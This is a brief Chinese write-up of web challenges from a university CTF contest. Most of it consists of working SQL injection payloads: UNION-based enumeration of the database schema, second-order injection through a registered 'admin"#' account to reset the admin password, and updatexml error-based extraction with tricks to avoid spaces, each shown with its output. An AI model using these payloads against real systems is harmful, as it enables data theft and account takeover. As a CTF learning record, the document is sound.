中国计量大学现代科技学院举办的CTF比赛,写一下writeup
easy web
原题
?password[]
即可
shop
条件竞争
成绩单
简单sql注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
-1'union select 1,2,database(),group_concat(schema_name) from information_schema.schemata#
web1
-1'union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema='web1'#
fl4g,sc
-1'union select 1,2,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'#
flag
-1'union select 1,2,3,flag from web1.fl4g#
flag{Sql_INJECT0N_4813drd8hz4}
|
easy
尝试发现admin
已经存在
提示二次注入才想起来upadte
也就是修改密码处可能存在过滤不严
先注册为admin"#
登陆后修改密码
一般二次注入修改密码处语句为:
1
|
sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
|
这样就修改了admin
的密码
登陆后发现啥也没有,想到可以结合updatexml
报错注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
test"||updatexml(2,concat(0x7e,(database())),0)#
easy
空格可以用()绕过
test"||updatexml(2,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='easy')),0)#
article,flag,users
test"||updatexml(2,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')),0)#
flag
test"||updatexml(2,concat(0x7e,(select(flag)from(easy.flag))),0)#
flag{We11D0Ne_hOhO}
|